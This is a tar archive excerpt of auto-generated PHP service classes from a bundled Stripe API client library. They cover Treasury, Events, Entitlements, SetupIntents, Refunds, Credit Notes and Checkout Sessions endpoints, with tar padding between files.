0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Treasury; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class DebitReversalService extends \Stripe\Service\AbstractService { /** * Returns a list of DebitReversals. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\DebitReversal> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/treasury/debit_reversals', $params, $opts); } /** * Reverses a ReceivedDebit and creates a DebitReversal object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\DebitReversal */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/treasury/debit_reversals', $params, $opts); } /** * Retrieves a DebitReversal object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\DebitReversal */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/treasury/debit_reversals/%s', $id), $params, $opts); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Treasury/TransactionService.php������������������������������������������0000644�����������������00000002456�14720677707�0020044 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Treasury; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class TransactionService extends \Stripe\Service\AbstractService { /** * Retrieves a list of Transaction objects. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\Transaction> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/treasury/transactions', $params, $opts); } /** * Retrieves the details of an existing Transaction. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\Transaction */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/treasury/transactions/%s', $id), $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Treasury/TransactionEntryService.php�������������������������������������0000644�����������������00000002503�14720677707�0021057 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Treasury; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class TransactionEntryService extends \Stripe\Service\AbstractService { /** * Retrieves a list of TransactionEntry objects. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\TransactionEntry> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/treasury/transaction_entries', $params, $opts); } /** * Retrieves a TransactionEntry object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\TransactionEntry */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/treasury/transaction_entries/%s', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Treasury/OutboundPaymentService.php��������������������������������������0000644�����������������00000004674�14720677707�0020720 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Treasury; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class OutboundPaymentService extends \Stripe\Service\AbstractService { /** * Returns a list of OutboundPayments sent from the specified FinancialAccount. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\OutboundPayment> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/treasury/outbound_payments', $params, $opts); } /** * Cancel an OutboundPayment. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundPayment */ public function cancel($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/treasury/outbound_payments/%s/cancel', $id), $params, $opts); } /** * Creates an OutboundPayment. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundPayment */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/treasury/outbound_payments', $params, $opts); } /** * Retrieves the details of an existing OutboundPayment by passing the unique * OutboundPayment ID from either the OutboundPayment creation request or * OutboundPayment list. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundPayment */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/treasury/outbound_payments/%s', $id), $params, $opts); } } ��������������������������������������������������������������������stripe-gateway/lib/Service/Treasury/CreditReversalService.php���������������������������������������0000644�����������������00000003643�14720677707�0020474 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Treasury; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class CreditReversalService extends \Stripe\Service\AbstractService { /** * Returns a list of CreditReversals. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\CreditReversal> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/treasury/credit_reversals', $params, $opts); } /** * Reverses a ReceivedCredit and creates a CreditReversal object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\CreditReversal */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/treasury/credit_reversals', $params, $opts); } /** * Retrieves the details of an existing CreditReversal by passing the unique * CreditReversal ID from either the CreditReversal creation request or * CreditReversal list. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\CreditReversal */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/treasury/credit_reversals/%s', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������stripe-gateway/lib/Service/EventService.php���������������������������������������������������������0000644�����������������00000003223�14720677707�0015013 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class EventService extends \Stripe\Service\AbstractService { /** * List events, going back up to 30 days. Each event data is rendered according to * Stripe API version at its creation time, specified in <a * href="https://docs.stripe.com/api/events/object">event object</a> * <code>api_version</code> attribute (not according to your current Stripe API * version or <code>Stripe-Version</code> header). * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Event> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/events', $params, $opts); } /** * Retrieves the details of an event if it was created in the last 30 days. Supply * the unique identifier of the event, which you might have received in a webhook. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Event */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/events/%s', $id), $params, $opts); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Entitlements/EntitlementsServiceFactory.php������������������������������0000644�����������������00000001276�14720677707�0022416 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Entitlements; /** * Service factory class for API resources in the Entitlements namespace. * * @property ActiveEntitlementService $activeEntitlements * @property FeatureService $features */ class EntitlementsServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'activeEntitlements' => ActiveEntitlementService::class, 'features' => FeatureService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Entitlements/FeatureService.php������������������������������������������0000644�����������������00000004324�14720677707�0020003 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Entitlements; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class FeatureService extends \Stripe\Service\AbstractService { /** * Retrieve a list of features. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Entitlements\Feature> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/entitlements/features', $params, $opts); } /** * Creates a feature. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Entitlements\Feature */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/entitlements/features', $params, $opts); } /** * Retrieves a feature. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Entitlements\Feature */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/entitlements/features/%s', $id), $params, $opts); } /** * Update a feature’s metadata or permanently deactivate it. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Entitlements\Feature */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/entitlements/features/%s', $id), $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Entitlements/ActiveEntitlementService.php��������������������������������0000644�����������������00000002536�14720677707�0022037 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Entitlements; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ActiveEntitlementService extends \Stripe\Service\AbstractService { /** * Retrieve a list of active entitlements for a customer. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Entitlements\ActiveEntitlement> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/entitlements/active_entitlements', $params, $opts); } /** * Retrieve an active entitlement. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Entitlements\ActiveEntitlement */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/entitlements/active_entitlements/%s', $id), $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/SetupIntentService.php���������������������������������������������������0000644�����������������00000012605�14720677707�0016220 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class SetupIntentService extends \Stripe\Service\AbstractService { /** * Returns a list of SetupIntents. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\SetupIntent> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/setup_intents', $params, $opts); } /** * You can cancel a SetupIntent object when it’s in one of these statuses: * <code>requires_payment_method</code>, <code>requires_confirmation</code>, or * <code>requires_action</code>. * * After you cancel it, setup is abandoned and any operations on the SetupIntent * fail with an error. You can’t cancel the SetupIntent for a Checkout Session. <a * href="/docs/api/checkout/sessions/expire">Expire the Checkout Session</a> * instead. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SetupIntent */ public function cancel($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/setup_intents/%s/cancel', $id), $params, $opts); } /** * Confirm that your customer intends to set up the current or provided payment * method. For example, you would confirm a SetupIntent when a customer hits the * “Save” button on a payment method management page on your website. * * If the selected payment method does not require any additional steps from the * customer, the SetupIntent will transition to the <code>succeeded</code> status. * * Otherwise, it will transition to the <code>requires_action</code> status and * suggest additional actions via <code>next_action</code>. If setup fails, the * SetupIntent will transition to the <code>requires_payment_method</code> status * or the <code>canceled</code> status if the confirmation limit is reached. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SetupIntent */ public function confirm($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/setup_intents/%s/confirm', $id), $params, $opts); } /** * Creates a SetupIntent object. * * After you create the SetupIntent, attach a payment method and <a * href="/docs/api/setup_intents/confirm">confirm</a> it to collect any required * permissions to charge the payment method later. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SetupIntent */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/setup_intents', $params, $opts); } /** * Retrieves the details of a SetupIntent that has previously been created. * * Client-side retrieval using a publishable key is allowed when the * <code>client_secret</code> is provided in the query string. * * When retrieved with a publishable key, only a subset of properties will be * returned. Please refer to the <a href="#setup_intent_object">SetupIntent</a> * object reference for more details. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SetupIntent */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/setup_intents/%s', $id), $params, $opts); } /** * Updates a SetupIntent object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SetupIntent */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/setup_intents/%s', $id), $params, $opts); } /** * Verifies microdeposits on a SetupIntent object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SetupIntent */ public function verifyMicrodeposits($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/setup_intents/%s/verify_microdeposits', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/PaymentMethodDomainService.php�������������������������������������������0000644�����������������00000006624�14720677707�0017650 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class PaymentMethodDomainService extends \Stripe\Service\AbstractService { /** * Lists the details of existing payment method domains. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\PaymentMethodDomain> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/payment_method_domains', $params, $opts); } /** * Creates a payment method domain. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethodDomain */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/payment_method_domains', $params, $opts); } /** * Retrieves the details of an existing payment method domain. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethodDomain */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/payment_method_domains/%s', $id), $params, $opts); } /** * Updates an existing payment method domain. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethodDomain */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payment_method_domains/%s', $id), $params, $opts); } /** * Some payment methods such as Apple Pay require additional steps to verify a * domain. If the requirements weren’t satisfied when the domain was created, the * payment method will be inactive on the domain. The payment method doesn’t appear * in Elements for this domain until it is active. * * To activate a payment method on an existing payment method domain, complete the * required validation steps specific to the payment method, and then validate the * payment method domain with this endpoint. * * Related guides: <a * href="/docs/payments/payment-methods/pmd-registration">Payment method * domains</a>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethodDomain */ public function validate($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payment_method_domains/%s/validate', $id), $params, $opts); } } ������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/RefundService.php��������������������������������������������������������0000644�����������������00000007452�14720677707�0015165 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class RefundService extends \Stripe\Service\AbstractService { /** * Returns a list of all refunds you created. We return the refunds in sorted * order, with the most recent refunds appearing first. The 10 most recent refunds * are always available by default on the Charge object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Refund> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/refunds', $params, $opts); } /** * Cancels a refund with a status of <code>requires_action</code>. * * You can’t cancel refunds in other states. Only refunds for payment methods that * require customer action can enter the <code>requires_action</code> state. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Refund */ public function cancel($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/refunds/%s/cancel', $id), $params, $opts); } /** * When you create a new refund, you must specify a Charge or a PaymentIntent * object on which to create it. * * Creating a new refund will refund a charge that has previously been created but * not yet refunded. Funds will be refunded to the credit or debit card that was * originally charged. * * You can optionally refund only part of a charge. You can do so multiple times, * until the entire charge has been refunded. * * Once entirely refunded, a charge can’t be refunded again. This method will raise * an error when called on an already-refunded charge, or when trying to refund * more money than is left on a charge. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Refund */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/refunds', $params, $opts); } /** * Retrieves the details of an existing refund. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Refund */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/refunds/%s', $id), $params, $opts); } /** * Updates the refund that you specify by setting the values of the passed * parameters. Any parameters that you don’t provide remain unchanged. * * This request only accepts <code>metadata</code> as an argument. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Refund */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/refunds/%s', $id), $params, $opts); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/CreditNoteService.php����������������������������������������������������0000644�����������������00000013473�14720677707�0016002 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class CreditNoteService extends \Stripe\Service\AbstractService { /** * Returns a list of credit notes. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\CreditNote> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/credit_notes', $params, $opts); } /** * When retrieving a credit note, you’ll get a <strong>lines</strong> property * containing the first handful of those items. There is also a URL where you can * retrieve the full (paginated) list of line items. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\CreditNoteLineItem> */ public function allLines($parentId, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/credit_notes/%s/lines', $parentId), $params, $opts); } /** * Issue a credit note to adjust the amount of a finalized invoice. For a * <code>status=open</code> invoice, a credit note reduces its * <code>amount_due</code>. For a <code>status=paid</code> invoice, a credit note * does not affect its <code>amount_due</code>. Instead, it can result in any * combination of the following:. * * <ul> <li>Refund: create a new refund (using <code>refund_amount</code>) or link * an existing refund (using <code>refund</code>).</li> <li>Customer balance * credit: credit the customer’s balance (using <code>credit_amount</code>) which * will be automatically applied to their next invoice when it’s finalized.</li> * <li>Outside of Stripe credit: record the amount that is or will be credited * outside of Stripe (using <code>out_of_band_amount</code>).</li> </ul> * * For post-payment credit notes the sum of the refund, credit and outside of * Stripe amounts must equal the credit note total. * * You may issue multiple credit notes for an invoice. Each credit note will * increment the invoice’s <code>pre_payment_credit_notes_amount</code> or * <code>post_payment_credit_notes_amount</code> depending on its * <code>status</code> at the time of credit note creation. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CreditNote */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/credit_notes', $params, $opts); } /** * Get a preview of a credit note without creating it. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CreditNote */ public function preview($params = null, $opts = null) { return $this->request('get', '/v1/credit_notes/preview', $params, $opts); } /** * When retrieving a credit note preview, you’ll get a <strong>lines</strong> * property containing the first handful of those items. This URL you can retrieve * the full (paginated) list of line items. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\CreditNoteLineItem> */ public function previewLines($params = null, $opts = null) { return $this->requestCollection('get', '/v1/credit_notes/preview/lines', $params, $opts); } /** * Retrieves the credit note object with the given identifier. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CreditNote */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/credit_notes/%s', $id), $params, $opts); } /** * Updates an existing credit note. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CreditNote */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/credit_notes/%s', $id), $params, $opts); } /** * Marks a credit note as void. Learn more about <a * href="/docs/billing/invoices/credit-notes#voiding">voiding credit notes</a>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CreditNote */ public function voidCreditNote($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/credit_notes/%s/void', $id), $params, $opts); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Checkout/SessionService.php����������������������������������������������0000644�����������������00000007134�14720677707�0017127 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Checkout; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class SessionService extends \Stripe\Service\AbstractService { /** * Returns a list of Checkout Sessions. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Checkout\Session> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/checkout/sessions', $params, $opts); } /** * When retrieving a Checkout Session, there is an includable * <strong>line_items</strong> property containing the first handful of those * items. There is also a URL where you can retrieve the full (paginated) list of * line items. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\LineItem> */ public function allLineItems($id, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/checkout/sessions/%s/line_items', $id), $params, $opts); } /** * Creates a Session object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Checkout\Session */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/checkout/sessions', $params, $opts); } /** * A Session can be expired when it is in one of these statuses: <code>open</code>. * * After it expires, a customer can’t complete a Session and customers loading the * Session see a message saying the Session is expired. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Checkout\Session */ public function expire($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/checkout/sessions/%s/expire', $id), $params, $opts); } /** * Retrieves a Session object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Checkout\Session */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/checkout/sessions/%s', $id), $params, $opts); } /** * Updates a Session object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Checkout\Session */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/checkout/sessions/%s', $id), $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Checkout/CheckoutServiceFactory.php��������������������������������������0000644�����������������00000001067�14720677707�0020600 